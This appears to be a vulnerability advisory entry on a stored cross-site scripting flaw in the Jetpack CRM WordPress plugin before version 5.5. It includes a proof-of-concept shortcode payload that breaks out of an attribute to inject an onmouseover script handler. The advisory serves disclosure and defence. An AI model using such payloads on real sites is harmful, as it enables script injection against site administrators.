Jetpack CRM < 5.5 - Contributor+ Stored XSS

2022-12-1900:00:00

wpvulndb

jetpack crm

contributor+

stored xss

form id 1

exploit

EPSS

0.001

Percentile

25.4%

JSON

The plugin does not validate and escape some of its shortcode attributes before outputting them back in the page, which could allow users with a role as low as contributor to perform Stored Cross-Site Scripting attacks which could be used against high privilege users such as admins

As a contributor, create a post/page with the following payload (a form from the plugin with id 1 must exist):

[jetpackcrm_form id='1"style=position:absolute;top:0;left:0;max-width:9999px;width:9999px;height:9999px onmouseover=alert(/XSS/)//' style='simple']

The XSS will be triggered when the post/page is previewed/viewed and the mouse moved anywhere

EPSS

0.001

Percentile

25.4%

JSON

Related for WPEX-ID:3FA6C8B3-6B81-4FE3-B997-25C9E5FDEC86